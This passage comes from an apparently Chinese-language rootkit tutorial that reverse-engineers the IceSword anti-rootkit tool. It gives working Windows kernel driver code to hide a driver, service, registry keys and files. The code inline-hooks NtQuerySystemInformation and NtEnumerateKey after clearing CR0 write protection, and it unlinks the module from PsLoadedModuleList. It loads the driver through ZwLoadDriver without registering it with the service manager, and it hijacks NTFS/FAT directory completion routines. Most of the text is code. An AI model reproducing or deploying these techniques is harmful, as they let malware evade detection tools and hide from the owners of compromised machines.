????????????????//構造要替換的代碼,使得系統調用該函數時跳到我們構造的NewNtQuerySystemInformation去執行
????????????????mov byte ptr CrackCodeNtQuerySystemInformation[0], 0x68
????????????????lea edi, NewNtQuerySystemInformation
????????????????mov dword ptr CrackCodeNtQuerySystemInformation[1], edi
????????????????mov byte ptr CrackCodeNtQuerySystemInformation[5], 0xC3

????????????????//把構造好的代碼進行替換
????????????????mov edi, OldNtQuerySystemInformation
????????????????mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
????????????????mov dword ptr[edi], eax
????????????????mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
????????????????mov word ptr[edi+4], ax
????????????????popad
????????????}

????????????_asm //開中斷
????????????{
????????????????MOV????EAX, CR0??????
????????????????OR????EAX, 10000H????????
????????????????MOV????CR0, EAX??????????
????????????????STI????????????????????
????????????}

????????????Status = RepairNtosFile (
????????????????????????????(DWORD)OldNtQuerySystemInformation,
????????????????????????????(DWORD)&CrackCodeNtQuerySystemInformation[0] );
????????????return Status;
????????????
}
????你可能發現上面這段代碼hook的也是NtQuerySystemInformation函數,而在隱藏進程中不是已經hook了 NtQuerySystemInformation函數,這樣不是造成重合了。在實際操作中,你只要hook一次 NtQuerySystemInformation函數,然后在自己定義NewNtQuerySystemInformation中增加幾個選擇項就是 了。我這樣寫是為了便于理解,使它們每個部分自成一體,如果按實際代碼搬出來的話,顯得太支離破碎(支離破碎的支到底是這個“支”還是這個“肢”??) 了。

????不知道pjf看到這里之后會不會想著給IS升級,增加IS檢測隱藏內核模塊的功能,因此下面一并給出了如何在 PsLoadedModuleList鏈表刪除自身的代碼,關于如何獲取PsLoadedModuleList這個內核變量的地址我就不說了,不了解的請 參看TK的《獲取Windows 系統的內核變量》。PsLoadedModuleList所指向的是結構是_MODULE_ENTRY,微軟沒有給出定義,但是 uzen_op(fuzen_op@yahoo.com)在FU_Rootkit2.0的資源中給出了MODULE_ENTRY的結構定義如下:
typedef struct _MODULE_ENTRY {
????LIST_ENTRY le_mod;
????DWORD??unknown[4];
????DWORD??base;
????DWORD??driver_start;
????DWORD??unk1;
????UNICODE_STRING driver_Path;
????UNICODE_STRING driver_Name;
} MODULE_ENTRY, *PMODULE_ENTRY;

進一步分析后發現上述結構中的unk1成員的值其實就是該模塊文件的大小.從新對該結構定義如下:

typedef struct _MODULE_ENTRY {
????LIST_ENTRY le_mod;
????DWORD??unknown[4];
????DWORD??base;
????DWORD??driver_start;
????DWORD??Size;
????UNICODE_STRING driver_Path;
????UNICODE_STRING driver_Name;
} MODULE_ENTRY, *PMODULE_ENTRY;

????PsLoadedModuleList指向的是一個帶表頭的雙向鏈表,該鏈表的表頭所指向的第一個MODULE_ENTRY的就是 ntoskrnl.exe,此時它的base成員的值就是ntoskrnl.exe在內存中的起始地址.這是就可以順手取一下NtoskrnlBase的 值。
????有一點要注意的是,如果DriverEntry()例程未返回STATUS_SUCCESS之前。系統不會把你加入到 PsLoadedModuleList鏈表中,此時你在PsLoadedModuleList中是找不到自己的。當然為了這個而寫一個分發例程也行。我是 在自己hook的那些系統函數中設了一個閥值,閥值初始值為“開”,這樣系統調用這個函數時都會先檢測閥值是否是“開”,是的話跑到 PsLoadedModuleList找一下我們的模塊是否存在,存在的話說明DriverEntry()已經返回成功,馬上把自己從 PsLoadedModuleList鏈表中刪除,然后把閥值設成“關”,這樣系統下次調用這個函數時發現閥值是“關”的就不會傻乎乎的又跑到 PsLoadedModuleList中去摟一遍了。

DWORD NtoskrnlBase=0;
DWORD PsLoadedModuleListPtr=0;

typedef struct _MODULE_ENTRY {

????LIST_ENTRY le_mod;
????DWORD??unknown[4];
????DWORD??base;
????DWORD??driver_start;
????DWORD??Size;
????UNICODE_STRING driver_Path;
????UNICODE_STRING driver_Name;
} MODULE_ENTRY, *PMODULE_ENTRY;

NTSTATUS GetPsLoadedModuleListPtr()
{
????UNICODE_STRING??UStrName;
????DWORD KdEnableDebuggerAddr;
????DWORD InitSystem=0;
????DWORD KdDebuggerDataBlock=0;
????PMODULE_ENTRY NtosModPtr;
????unsigned char * DebuggerDataBlockPtr;
????unsigned char * Sysinit;
????int i,j;
????????
????????RtlInitUnicodeString (
????????????????????&UStrName,
????????????????????L"KdEnableDebugger" );

????????KdEnableDebuggerAddr=(DWORD)MmGetSystemRoutineAddress( &UStrName );????????????????????????????????????????????????
????????
????????if ( !KdEnableDebuggerAddr )
????????{
????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????}
????????
????????for (i=0, Sysinit = (unsigned char * )KdEnableDebuggerAddr; i<0x50; i++, Sysinit++)
????????{
????????????if ( (*Sysinit) == 0xc6 && (*(Sysinit+0x1)) == 0x05 && (*(Sysinit+0x6)) == 0x01 && (*(Sysinit+0x7)) == 0xE8 )
????????????{
????????????????_asm
????????????????{
????????????????????pushad
????????????????????mov edi, Sysinit
????????????????????mov eax, [edi+0x8]
????????????????????add edi, 0xC
????????????????????add edi, eax
????????????????????mov InitSystem, edi
????????????????????popad
????????????????}
????????????}
????????????if ( InitSystem != 0) break;

????????}

????????if ( InitSystem == 0 )
????????{
????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????}
????????
????????for ( i=0, DebuggerDataBlockPtr = (unsigned char * )InitSystem; i<0x70; i++,DebuggerDataBlockPtr++)
????????{

????????????if ( *((DWORD*)DebuggerDataBlockPtr) == 0x4742444b )
????????????{
????????????????DebuggerDataBlockPtr--;
????????????????DebuggerDataBlockPtr--;

????????????????for (j=0; j<0x10; j++, DebuggerDataBlockPtr--)
????????????????{
????????????????????if ( *DebuggerDataBlockPtr == 0x68 )
????????????????????{
????????????????????????_asm
????????????????????????{
????????????????????????????pushad
????????????????????????????mov edi, DebuggerDataBlockPtr
????????????????????????????inc edi
????????????????????????????mov eax, [edi]
????????????????????????????mov KdDebuggerDataBlock, eax
????????????????????????????popad
????????????????????????}
????????????????????????break;
????????????????????}
????????????????}
????????????????
????????????}

????????????if ( KdDebuggerDataBlock != 0 )
????????????{
????????????????break;
????????????}
????????}

????????if ( KdDebuggerDataBlock == 0 )
????????{
????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????}

????????_asm
????????{
????????????pushad
????????????mov edi, KdDebuggerDataBlock
????????????mov eax, [edi+0x48]
????????????mov PsLoadedModuleListPtr, eax
????????????popad
????????}

????????if ( PsLoadedModuleListPtr == 0 )
????????{
????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????}
????????
????????//獲取 Ntoskrnl 的起始地址
????????NtosModPtr = ( PMODULE_ENTRY ) PsLoadedModuleListPtr;
????????NtosModPtr = ( PMODULE_ENTRY ) (NtosModPtr->le_mod.Flink );??
????????NtoskrnlBase = (DWORD) ( NtosModPtr->base );

????????return STATUS_SUCCESS;

}

NTSTATUS RemoveModule ( )
{
????DWORD RemoveModleAddr;
????PMODULE_ENTRY PModPtr_Current;
????PMODULE_ENTRY PModPtr_Flink;
????PMODULE_ENTRY PModPtr_Blink;

????????????PModPtr_Current=(PMODULE_ENTRY)PsLoadedModuleListPtr;
????????????


????????????PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Current->le_mod.Flink);

????????????//Get RemoveModle Addr

????????????RemoveModleAddr= DriverAddr;

????????????for ( ; PModPtr_Flink->le_mod.Flink != (PLIST_ENTRY) PModPtr_Current ; PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Flink) )
????????????{
????????????????if ( RemoveModleAddr > ((DWORD)PModPtr_Flink->base) && RemoveModleAddr < ((DWORD)(PModPtr_Flink->Size) + ((DWORD)PModPtr_Flink->base)) )
????????????????{
????????????????????PModPtr_Blink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Blink);
????????????????????PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Flink);
????????????????????PModPtr_Blink->le_mod.Flink= (PLIST_ENTRY)PModPtr_Flink;
????????????????????PModPtr_Flink->le_mod.Blink= (PLIST_ENTRY)PModPtr_Blink;
????????????????????IsDelModule=TRUE;
????????????????????break;
????????????????}
????????????}
????????????if ( IsDelModule != TRUE )
????????????{
????????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????????}
????????????return STATUS_SUCCESS;

}

????上面這兩個函數中,GetPsLoadedModuleListPtr()是通過特征碼搜索獲取KdDebuggerDataBlock的位置, 使用特征碼搜索辦法雖然不是很好,但是通用性強。然后再以此獲取PsLoadedModuleList地址,RemoveModule()用來實現在 PsLoadedModuleList鏈表中刪除自己。在PsLoadedModuleList中定位的方法也是使用上面利用DriverAddr定位。


五、隱藏服務:

????普通情況下加載驅動需要 OpenSCManager->CreateService->StartService,這樣驅動就會跑到服務管理器中去注冊一下自己,并 且要隱藏這樣加載驅動的服務,不是不行,只是太麻煩而且沒效率了。要hook一大堆的服務函數。不過在逆向IS的時候發現了一個不需要去服務管理器注冊而 直接加載驅動的方法。就是使用ZwLoadDriver(這個函數通常是ring0中加載驅動時用,由于被Ntdll.dll導出,ring3就也能用 了)進行直接加載。這樣就不用去服務管理器中注冊自己,并且這樣加載的驅動windows系統工具中的“系統信息”查看器也查不到你,更不用說那些什么服 務管理器之類的東東了。屢用不爽。下面介紹一下用法:

????1、首先自己在注冊表的服務項中添加一個自己的服務名字項。
????2、在自己添加的服務名字項中添加一些驅動信息(其實就是手工實現CreateService()函數對注冊表的那些操作),這些信息包括“ErrorControl”,“ImagePath”,“Start”,“Type”等等。你要手工設置這些鍵以及鍵值。

按上面設置完后,來看看ZwLoadDriver的原形:

NTSTATUS
????ZwLoadDriver(
????IN PUNICODE_STRING DriverServiceName );

下面的代碼給出了ZwLoadDriver的使用例子:

AnotherWayStartService( TCHAR *szDir )
{
????HKEY RegKey;
????HKEY hLicenses;
????DWORD disp;
????DWORD ErrorControl=NULL;
????DWORD ProcessID;
????DWORD Start=3;
????DWORD Type=1;
????LONG Regrt;

????DWORD ZwLoadDriver;
????DWORD RtlInitUnicodeString;
????
????UNICODE_STRING RegService;

????PCWSTR????RegServicePath= L"http://Registry//Machine//System//CurrentControlSet//Services//neverdeath";

????TCHAR????DriverFilePath[MAX_PATH] = "http://??//";


????????Regrt = RegOpenKeyEx (
????????????????????HKEY_LOCAL_MACHINE,
????????????????????"SYSTEM//CurrentControlSet//Services",
????????????????????0,
????????????????????KEY_CREATE_SUB_KEY + KEY_SET_VALUE,
????????????????????&hLicenses );

????????if ( Regrt != ERROR_SUCCESS )
????????{
????????????return false;
????????}

????????Regrt=RegCreateKeyEx (
????????????????????hLicenses,
????????????????????"neverdeath",
????????????????????0,
????????????????????"",
????????????????????REG_OPTION_NON_VOLATILE,
????????????????????KEY_ALL_ACCESS,
????????????????????NULL,
????????????????????&RegKey,
????????????????????&disp );

????????if ( Regrt != ERROR_SUCCESS )
????????{
????????????return false;
????????}

????????????Regrt = RegOpenKeyEx (
????????????????????????HKEY_LOCAL_MACHINE,
????????????????????????"SYSTEM//CurrentControlSet//Services//neverdeath",
????????????????????????0,
????????????????????????KEY_CREATE_SUB_KEY + KEY_SET_VALUE,
????????????????????????&RegKey );

????????if ( Regrt != ERROR_SUCCESS )
????????{
????????????return false;
????????}

????????Regrt = RegSetValueEx (
????????????????????RegKey,
????????????????????"ErrorControl",
????????????????????NULL,
????????????????????REG_DWORD,
????????????????????(const unsigned char *)(&ErrorControl),
????????????????????4 );

????????if ( Regrt != ERROR_SUCCESS )
????????{
????????????return false;
????????}
????????
????????strcat(DriverFilePath, szDir);

????????Regrt = RegSetValueEx (
????????????????????RegKey,
????????????????????"ImagePath",
????????????????????NULL,
????????????????????REG_EXPAND_SZ,
????????????????????(const unsigned char *)(&DriverFilePath),
????????????????????strlen( DriverFilePath ) );

????????if ( Regrt != ERROR_SUCCESS )
????????{
????????????return false;
????????}


????????Regrt = RegSetValueEx (
????????????????????RegKey,
????????????????????"Start",
????????????????????NULL,
????????????????????REG_DWORD,
????????????????????(const unsigned char *)(&Start),
????????????????????4 );

????????if ( Regrt != ERROR_SUCCESS )
????????{
????????????return false;
????????}
????????
????????Regrt = RegSetValueEx (????????
????????????????????RegKey,
????????????????????"Type",
????????????????????NULL,
????????????????????REG_DWORD,
????????????????????(const unsigned char *)(&Type),
????????????????????4 );

????????if ( Regrt != ERROR_SUCCESS )
????????{
????????????return false;
????????}

????????//還記得前面隱藏進程時,我們進程ID是從注冊表中取的
????????//下面就是把進程ID寫入注冊表,不會影響驅動的加載

????????ProcessID=GetCurrentProcessId();????

????????Regrt = RegSetValueEx (
????????????????????RegKey,
????????????????????"ProcessID",
????????????????????NULL,
????????????????????REG_DWORD,
????????????????????(const unsigned char *)(&ProcessID),
????????????????????4 );

????????if ( Regrt != ERROR_SUCCESS )
????????{
????????????return false;
????????}????????
????????
????????CloseHandle( RegKey );


????????ZwLoadDriver = (DWORD) GetProcAddress (
????????????????????????????GetModuleHandle( "ntdll.dll" ),
????????????????????????????"ZwLoadDriver" );

????????RtlInitUnicodeString = (DWORD) GetProcAddress(
????????????????????????????????GetModuleHandle( "ntdll.dll" ),
????????????????????????????????"RtlInitUnicodeString" );
????????
????????_asm
????????{
????????????pushad
????????????push RegServicePath
????????????lea edi, RegService
????????????push edi
????????????call RtlInitUnicodeString????//裝載UNICODE字符

????????????lea edi, RegService
????????????push edi
????????????call ZwLoadDriver????
????????????popad
????????}

????????return true;

}

請注意上面這段代碼中加載驅動時所使用的注冊表路徑格式是:
“//Registry//Machine//System//CurrentControlSet//Services//neverdeath”
而不是:
“HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//neverdeath”
也許你已經想到了那么卸載驅動會不會就是函數“ZwUnloadDriver”?自己試一下不就知道了:)


六、隱藏注冊表:

????IS處理注冊表并沒有什么新意,就是調用那些ZwCreateKey、ZwOpenKey、ZwQueryKey、ZwSetValueKey一 類的注冊表操作函數,通過偽造內核文件,所以這部分可以很輕松hook并實現隱藏。IS在這里玩了一個小花樣,在XP下,IS會在把從 ntoskrnl.exe讀到的NtEnumerateKey起始地址的第三個字(注意是字,不是字節!)先加上0xD50后,再進行還原,因此你在偽造 內核文件時必須先把自己構造的代碼的第三個字減去0xD50后再寫入到otoskrnl.exe中,否則就等著BSOD吧。而在2K中就不需要這些操作。 這里主要是通過hook注冊表函數NtEnumerateKey來隱藏我們注冊中的“CurrentControlSet/Services”下的 “neverdeath”項以及“CurrentControlSet/Enum/Root”下的“LEGACY_NEVERDEATH”項。至于隱藏鍵 與鍵值在這里就不說了,自己隨手寫一個就是了。順便提一下,由于windows的regedit也是調用這些函數訪問注冊表,所以如果你在IS中隱藏了注 冊表也就等于在windows的regedit中隱藏了。以下代碼在XP下測試通過,如要在2K或2K3中運行,請根據需要自己進行取舍。
由于NtEnumerateKey沒有被ntoskrnl.exe導出,這里利用
NtEnumerateKey在服務表 偏移 = “NtDuplicateToken”在服務表中的偏移+2
來獲取NtEnumerateKey地址。

PCWSTR HideKey = L"neverdeath";
PCWSTR HideKeyLEG = L"LEGACY_NEVERDEATH";

unsigned char ResumCodeNtEnumerateKey[6];
unsigned char CrackCodeNtEnumerateKey[6];
unsigned char CrackCodeNtEnumerateKeyWriteFile[6];

typedef NTSTATUS ( *NTENUMERATEKEY ) (
??IN HANDLE????????????KeyHandle,
??IN ULONG????????????Index,
??IN KEY_INFORMATION_CLASS??KeyInformationClass,
??OUT PVOID????????????KeyInformation,
??IN ULONG????????????Length,
??OUT PULONG????????ResultLength );

NTENUMERATEKEY OldNtEnumerateKey;

typedef struct ServiceDescriptorEntry {
????unsigned int *ServiceTableBase;
????unsigned int *ServiceCounterTableBase; //Used only in checked build
????unsigned int NumberOfServices;
????unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;

extern PServiceDescriptorTableEntry KeServiceDescriptorTable;

NTSTATUS NewNtEnumerateKey(

??IN HANDLE????????????KeyHandle,
??IN ULONG????????????Index,
??IN KEY_INFORMATION_CLASS??KeyInformationClass,
??OUT PVOID????????????KeyInformation,
??IN ULONG????????????Length,
??OUT PULONG????????ResultLength )
{
????NTSTATUS Status;
????PCWSTR KeyNamePtr;


????????????_asm??//還原
????????????{
????????????????pushad
????????????????mov edi, OldNtEnumerateKey
????????????????mov eax, dword ptr ResumCodeNtEnumerateKey[0]
????????????????mov [edi], eax
????????????????mov ax, word ptr ResumCodeNtEnumerateKey[4]
????????????????mov [edi+4], ax
????????????????popad
????????????}

????????????Status = ZwEnumerateKey (
????????????????????????????KeyHandle,
????????????????????????????Index,
????????????????????????????KeyInformationClass,
????????????????????????????KeyInformation,
????????????????????????????Length,
????????????????????????????ResultLength );
????????
????????????
????????????if ( Status == STATUS_SUCCESS )
????????????{
???????????????? _asm
???????????????? {
????????????????????push edi
????????????????????mov edi, KeyInformation
????????????????????add edi, 0x10
????????????????????mov KeyNamePtr, edi
????????????????????pop edi
???????????????? }
???????????????? if ( wcsstr(KeyNamePtr, HideKey)!=NULL || wcsstr(KeyNamePtr, HideKeyLEG) != NULL )
???????????????? {
???????????????????? Index=Index+1;
???????????????????? Status = OldNtEnumerateKey (
????????????????????????????????????KeyHandle,
????????????????????????????????????Index,
????????????????????????????????????KeyInformationClass,
????????????????????????????????????KeyInformation,
????????????????????????????????????Length,
????????????????????????????????????ResultLength );
???????????????? }
????????????}
????????????
????????????_asm //替換
????????????{
????????????????pushad
????????????????mov edi, OldNtEnumerateKey
????????????????mov eax, dword ptr CrackCodeNtEnumerateKey[0]
????????????????mov [edi], eax
????????????????mov ax, word ptr CrackCodeNtEnumerateKey[4]
????????????????mov [edi+4], ax
????????????????popad
????????????}
????????????return Status;

}
NTSTATUS GetOldNtEnumerateKey()
{
????DWORD NtDuplicateTokenAddr;
????int i=0;

????????????NtDuplicateTokenAddr = GetFunctionAddr( L"NtDuplicateToken" );

????????????if ( NtDuplicateTokenAddr == NULL )
????????????{
????????????????DbgPrint("Get NtQuerySystemInformation Addr Error!!");
????????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????????}

????????????for (;;i++)
????????????{
????????????????if ( NtDuplicateTokenAddr == (DWORD)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + i)) )
????????????????{
????????????????????OldNtEnumerateKey = (NTENUMERATEKEY)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + (i+2)));
????????????????????break;
????????????????}
????????????}
????????????return STATUS_SUCCESS;

}

NTSTATUS PatchNtEnumerateKey()
{
????NTSTATUS Status;
??????????????????????????????????????????????????????????????????

????????????Status = GetOldNtEnumerateKey();

????????????if ( Status != STATUS_SUCCESS )
????????????{
????????????????DbgPrint("Get NtQuerySystemInformation Addr Error!!");
????????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????????}

????????????_asm????//關中斷
????????????{
????????????????CLI????????????
????????????????MOV????EAX, CR0????
????????????????AND EAX, NOT 10000H??
????????????????MOV????CR0, EAX????????
????????????}

????????????_asm
????????????{
????????????????pushad
????????????????//獲取 NtEnumerateKey 函數的地址并保留該函數的起始六個字節
????????????????mov edi, OldNtEnumerateKey
????????????????mov eax, [edi]
????????????????mov dword ptr ResumCodeNtEnumerateKey[0], eax
????????????????mov ax, [edi+4]
????????????????mov word??ptr ResumCodeNtEnumerateKey[4], ax
????????????????
????????????????//構造要替換的代碼,使得系統調用該函數時跳到我們構造的NewNtEnumerateKey去執行

????????????????mov byte ptr CrackCodeNtEnumerateKey[0], 0x68
????????????????mov byte ptr CrackCodeNtEnumerateKeyWriteFile[0],0x68
????????????????lea edi, NewNtEnumerateKey
????????????????mov dword ptr CrackCodeNtEnumerateKey[1], edi
????????????????mov dword ptr CrackCodeNtEnumerateKeyWriteFile[1], edi
????????????????mov byte ptr CrackCodeNtEnumerateKey[5], 0xc3
????????????????mov byte ptr CrackCodeNtEnumerateKeyWriteFile[5], 0xc3
????
????????????????//把第NtEnumerateKey的第三個字減去D50在送回
????????????????mov ax, word ptr CrackCodeNtEnumerateKeyWriteFile[4]
????????????????sub ax, 0xD50
????????????????mov word ptr CrackCodeNtEnumerateKeyWriteFile[4], ax


????????????????//把構造好的代碼進行替換
????????????????mov edi, OldNtEnumerateKey
????????????????mov eax, dword ptr CrackCodeNtEnumerateKey[0]
????????????????mov dword ptr[edi], eax
????????????????mov ax, word ptr CrackCodeNtEnumerateKey[4]
????????????????mov word ptr[edi+4], ax
????????????????popad
????????????}

????????????_asm????//開中斷
????????????{
????????????????MOV????EAX, CR0??????
????????????????OR????EAX, 10000H????????????
????????????????MOV????CR0, EAX????????????
????????????????STI????????????????????
????????????}

????????????Status = RepairNtosFile(
????????????????????????????(DWORD)OldNtEnumerateKey,
????????????????????????????//(DWORD)(&CrackCodeNtEnumerateKey) 2k
????????????????????????????(DWORD)(&CrackCodeNtEnumerateKeyWriteFile) ); //XP
????????????return Status;

}


7、隱藏文件:

????終于寫到隱藏文件,在實現隱藏文件的過程中,越來越欣賞PJF。IS在獲取文件列表的過程時,迂回戰術簡直玩到了另人匪夷所思的地步!我花了很多 時間(好幾次坐在機子面前十幾個小時想的腦袋都綠了卻一點收獲都沒有)才實現了不用IFS,不用attach文件設備直接而進行隱藏,當時我甚至去 hook函數IoCallDriver函數(經常看到有些人hook這個函數失敗,便造謠此函數不能hook,其實是可以的,但是確實很麻煩,如果你也想 試試,為了讓你少走彎路,好意提醒一下,請盡最大努力保護好寄存器!)來截獲系統所有的IRP包,然后分析,真是差點沒把我搞死!
????普通情況下,我們是通過發送IRP_MJ_DIRECTORY_CONTROL(0xC)請求給FSD來獲取文件列表的。獲取后的信息存在 IRP->UserBuffer(0x3c)中。但是你會發現IS在獲取文件列表時并不發送IRP_MJ_DIRECTORY_CONTROL給 FSD,而是發送IRP_MJ_DEVICE_CONTROL(0xE)請求給另外一個不知名設備。并且在該被請求完成后,你在完成的IRP數據中找不到 任何有關文件名字的影子。或許你便開始點一只煙,盯著屏幕直發楞,直想:“這怎么可能呢?”(呵呵,也許pjf要的就是這種效果)。

????邪惡的微軟總是想方設法的企圖蒙蔽我們,讓我們忽略本質!內核里面的那些什么對象啊、設備啊、這個啊、那個啊、所有亂七八糟的東東,從本質上來講還不都是一堆代碼與數據。IS不發送IRP_MJ_DIRECTORY_CONTROL請求不代表它不會調用這個例程。

????我對IS獲取文件列表的猜想(IS的anti Debug太強, 為了今年之內把這個搞定,因此沒時間再陪它耗下去了):

????單獨創造一個Device,這個Device的IRP_MJ_DEVICE_CONTROL例程中構造IRP與DEVICE_OBJECT后,直 接調用IRP_MJ_DIRECTORY_CONTROL例程,這樣就避免了向文件設備發送請求但是還能獲取文件列表的目的了。關于在完成后的IRP包中 無法獲取文件名的功能,其實只要在直接調用IRP_MJ_DIRECTORY_CONTROL例程之后,把IRP->UserBuffer中的內容 轉移或加個密就輕易實現了。

????雖然這只是猜想,但是為了驗證我的想法。我單獨寫了個test證明我的想法是可行的。我不能確定IS就是這樣做,但我能確定如果你這樣做的話就能達到類似的效果。

????IS就是通過設置IO_COMPLETION_ROUTINE函數來第一時間處理完成后的結果,我們下面用的方法就是通過替換這個 IO_COMPLETION_ROUTINE來搶先處理結果。我們處理完了再調用IS的IO_COMPLETION_ROUTINE函數。另外要說的是, 由于IS用的MinorFunction是IRP_MN_QUERY_DIRECTORY,每次都肯定能返回一個文件名(哪怕已重復出現)。而你在自己的 IO_COMPLETION_ROUTINE中如果檢測到是自己要隱藏的文件名的話,不能不調用原先IS的IO_COMPLETION_ROUTINE, 否則BSOD。因此你只能更改文件屬性了,更改文件屬性也能達到隱藏的目的。還記不記的以前DOS時代的[.]與[..]文件夾嗎(那片笑聲讓我想起我的 那些文件夾)。當返回你要隱藏的文件時信息,把這些信息全都替換成[.]或[..]文件夾屬性(當然包括文件名信息了)就行了。

????下面的代碼先獲取FSD設備的IRP_MJ_DIRECTORY_CONTROL分派函數的地址,然后對該函數進行hook。在我們構造的新的 IRP_MJ_DIRECTORY_CONTROL分派函數中通過IO_STACK_LOCATION中的Length(+0x4)數值來判斷是否時 IS(IS的Length很特殊,是0xfe8。平常的都是0x1000),是的話就進行替換IO_COMPLETION_ROUTINE。

????下的代碼在FAT32、NTFS、NTFS&FAT32中測試通過,在純Fat中也測試通過。

PCWSTR????HideDirectory =L"neverdeath";
PCWSTR????HideFile = L"otoskrnl.exe";

DWORD NtfsUserbuf;
DWORD NtfsFileName;
DWORD NtfsLocaIrp;

DWORD FatUserbuf;
DWORD FatFileName;
DWORD FatLocaIrp;

typedef NTSTATUS??(*_DISPATCH)
(
??IN PDEVICE_OBJECT??DeviceObject,
??IN OUT PIRP????????Irp
);

_DISPATCH OldNtfsQueryDirectoryDispatch;
_DISPATCH OldFatQueryDirectoryDispatch;

PIO_COMPLETION_ROUTINE????OldNtfsCompletionRuntine;
PIO_COMPLETION_ROUTINE??OldFatCompletionRuntine;

NTSTATUS NewNtfsCompletionRuntine(
????IN PDEVICE_OBJECT DeviceObject,
????IN PIRP Irp,
????IN PVOID Context )
{
????NTSTATUS Status;

????????????????_asm
????????????????{
????????????????????pushad
????????????????????mov edi, NtfsUserbuf
????????????????????add edi, 0x5e
????????????????????mov NtfsFileName, edi
????????????????????popad
????????????????}
????????????????if ( wcsstr( NtfsFileName, HideDirectory ) ||??wcsstr( NtfsFileName, HideFile ) )
????????????????{
????????????????????_asm
????????????????????{
????????????????????????pushad
????????????????????????mov edi,NtfsUserbuf
????????????????????????mov eax, 0x16
????????????????????????mov dword ptr [edi+0x38], eax
????????????????????????mov eax, 0x04
????????????????????????mov dword ptr [edi+0x3c], eax
????????????????????????mov eax, 0x002e002e
????????????????????????mov dword ptr [edi+0x5e], eax
????????????????????????popad
????????????????????}
????????????????}
????????????????Status = OldNtfsCompletionRuntine (
????????????????????????????????????DeviceObject,
????????????????????????????????????Irp,
????????????????????????????????????Context );????????????????
????????????????return Status;
????????????????
}

NTSTATUS NewFatCompletionRuntine(
????IN PDEVICE_OBJECT DeviceObject,
????IN PIRP Irp,
????IN PVOID Context )
{
????NTSTATUS Status;

????????????????_asm
????????????????{
????????????????????pushad
????????????????????mov edi, FatUserbuf
????????????????????add edi, 0x5e
????????????????????mov FatFileName, edi
????????????????????popad
????????????????}
????????????????if ( wcsstr( FatFileName, HideDirectory ) ||??wcsstr( FatFileName, HideFile ) )
????????????????{
????????????????????_asm
????????????????????{
????????????????????????pushad
????????????????????????mov edi,FatUserbuf
????????????????????????mov eax, 0x16
????????????????????????mov dword ptr [edi+0x38], eax
????????????????????????mov eax, 0x04
????????????????????????mov dword ptr [edi+0x3c], eax
????????????????????????mov eax, 0x002e002e
????????????????????????mov dword ptr [edi+0x5e], eax
????????????????????????popad
????????????????????}
????????????????}
????????????????Status = OldFatCompletionRuntine (
????????????????????????????????????DeviceObject,
????????????????????????????????????Irp,
????????????????????????????????????Context );????????????????
????????????????return Status;
????????????????
}

NTSTATUS NewNtfsQueryDirectoryDispatch (
??IN PDEVICE_OBJECT??DeviceObject,
??IN OUT PIRP????????Irp )
{
????NTSTATUS????Status;
????DWORD????????QueryFile;


????????????????_asm
????????????????{
????????????????????pushad
????????????????????mov edi, OldNtfsQueryDirectoryDispatch
????????????????????mov eax, dword ptr ResumCodeNtfsQueryDirectoryDispatch[0]
????????????????????mov [edi], eax
????????????????????mov ax, word ptr ResumCodeNtfsQueryDirectoryDispatch[4]
????????????????????mov [edi+4], ax
????????????????????popad
????????????????}

????????????????_asm
????????????????{
????????????????????pushad
????????????????????mov edi, Irp
????????????????????mov eax, [edi+0x60]
????????????????????mov ecx, [edi+0x3c]
????????????????????mov edi, [eax+4]
????????????????????mov QueryFile, edi
????????????????????mov NtfsUserbuf, ecx
????????????????????mov NtfsLocaIrp, eax
????????????????????popad
????????????????}

????????????????if ( QueryFile == 0xfe8 )
????????????????{
????????????????????_asm
????????????????????{
????????????????????????pushad
????????????????????????mov edi, NtfsLocaIrp
????????????????????????mov eax, [edi+0x1c]
????????????????????????mov OldNtfsCompletionRuntine, eax
????????????????????????lea eax, NewNtfsCompletionRuntine
????????????????????????mov [edi+0x1c], eax
????????????????????????popad
????????????????????}????????????????
????????????????}


????????????????Status = OldNtfsQueryDirectoryDispatch (
????????????????????????????????????????DeviceObject,
????????????????????????????????????????Irp );

????????????????_asm
????????????????{
????????????????????pushad
????????????????????mov edi, OldNtfsQueryDirectoryDispatch
????????????????????mov eax, dword ptr CrackCodeNtfsQueryDirectoryDispatch[0]
????????????????????mov [edi], eax
????????????????????mov ax, word ptr CrackCodeNtfsQueryDirectoryDispatch[4]
????????????????????mov [edi+4], ax
????????????????????popad
????????????????}
????????????????return Status;
}


NTSTATUS NewFatQueryDirectoryDispatch (
??IN PDEVICE_OBJECT??DeviceObject,
??IN OUT PIRP????????Irp )
{
????NTSTATUS????Status;
????DWORD????????QueryFile;


????????????????_asm
????????????????{
????????????????????pushad
????????????????????mov edi, OldFatQueryDirectoryDispatch
????????????????????mov eax, dword ptr ResumCodeFatQueryDirectoryDispatch[0]
????????????????????mov [edi], eax
????????????????????mov ax, word ptr ResumCodeFatQueryDirectoryDispatch[4]
????????????????????mov [edi+4], ax
????????????????????popad
????????????????}

????????????????_asm
????????????????{
????????????????????pushad
????????????????????mov edi, Irp
????????????????????mov eax, [edi+0x60]
????????????????????mov ecx, [edi+0x3c]
????????????????????mov edi, [eax+4]
????????????????????mov QueryFile, edi
????????????????????mov FatUserbuf, ecx
????????????????????mov FatLocaIrp, eax
????????????????????popad
????????????????}

????????????????if ( QueryFile == 0xfe8 )
????????????????{
????????????????????_asm
????????????????????{
????????????????????????pushad
????????????????????????mov edi, FatLocaIrp
????????????????????????mov eax, [edi+0x1c]
????????????????????????mov OldFatCompletionRuntine, eax
????????????????????????lea eax, NewFatCompletionRuntine
????????????????????????mov [edi+0x1c], eax
????????????????????????popad
